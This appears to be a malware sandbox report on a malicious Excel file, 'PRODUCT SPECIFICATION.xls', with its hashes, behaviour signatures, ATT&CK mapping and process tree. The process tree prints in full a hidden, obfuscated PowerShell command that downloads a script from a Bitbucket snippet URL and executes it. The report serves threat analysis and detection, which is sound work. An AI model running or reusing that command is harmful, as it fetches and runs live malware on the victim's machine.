f0075bb5c58f1bbdeb3b0c0f92798da492f96415a60b3c36c55c1129b514eee7

General

Target

PRODUCT SPECIFICATION.xls
Size

114KB
MD5

180686c189d327aea9f97f1ca9014928
SHA1

04dbcf680886992dd8b3fe3ba42c44a0e8f75dba
SHA256

f0075bb5c58f1bbdeb3b0c0f92798da492f96415a60b3c36c55c1129b514eee7
SHA512

08acf11753ac6f5513705d121cd8dd48c3676159d06832264c243fe50b23832dbd8285bc627551431929afa94edb164a231ec5a99aff208bed13318d4e78af93
SSDEEP

3072:wewk3hOdsylKlgxopeiBNhZFGzE+cL2kdAVVmwAnNUHuEGZT5BBmglG:wewk3hOdsylKlgxopeiBNhZF+E+W2kdQ

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2692	1456	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

51 3540 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
51	3540	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1456 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3540 powershell.exe
3540 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3540 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1456 EXCEL.EXE
1456 EXCEL.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE
1456 EXCEL.EXE

pid	process
1456	EXCEL.EXE

pid	process
3540	powershell.exe
3540	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3540	powershell.exe

pid	process
1456	EXCEL.EXE
1456	EXCEL.EXE

pid	process
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1456 wrote to memory of 2692	1456	EXCEL.EXE	cmd.exe
PID 1456 wrote to memory of 2692	1456	EXCEL.EXE	cmd.exe
PID 2692 wrote to memory of 3540	2692	cmd.exe	powershell.exe
PID 2692 wrote to memory of 3540	2692	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PRODUCT SPECIFICATION.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\SYSTEM32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/rEGgBn/f5e3c731887c2d74da9360e5366f2aff0e3e580f/files/chrisfinal1.txt') -useB); Start-Sleep -Seconds 10
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/rEGgBn/f5e3c731887c2d74da9360e5366f2aff0e3e580f/files/chrisfinal1.txt') -useB); Start-Sleep -Seconds 10
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gal5qt2l.cjk.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1456-216-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-215-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-217-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-137-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-138-0x00007FF990A40000-0x00007FF990A50000-memory.dmp

Filesize
64KB

Download
memory/1456-139-0x00007FF990A40000-0x00007FF990A50000-memory.dmp

Filesize
64KB

Download
memory/1456-157-0x000001EF8F340000-0x000001EF8F540000-memory.dmp

Filesize
2.0MB

Download
memory/1456-134-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-136-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-133-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-135-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/1456-214-0x00007FF993310000-0x00007FF993320000-memory.dmp

Filesize
64KB

Download
memory/3540-209-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download
memory/3540-210-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download
memory/3540-220-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download
memory/3540-198-0x000002306FC90000-0x000002306FCB2000-memory.dmp

Filesize
136KB

Download
memory/3540-218-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download
memory/3540-219-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download
memory/3540-208-0x000002306FD50000-0x000002306FD60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads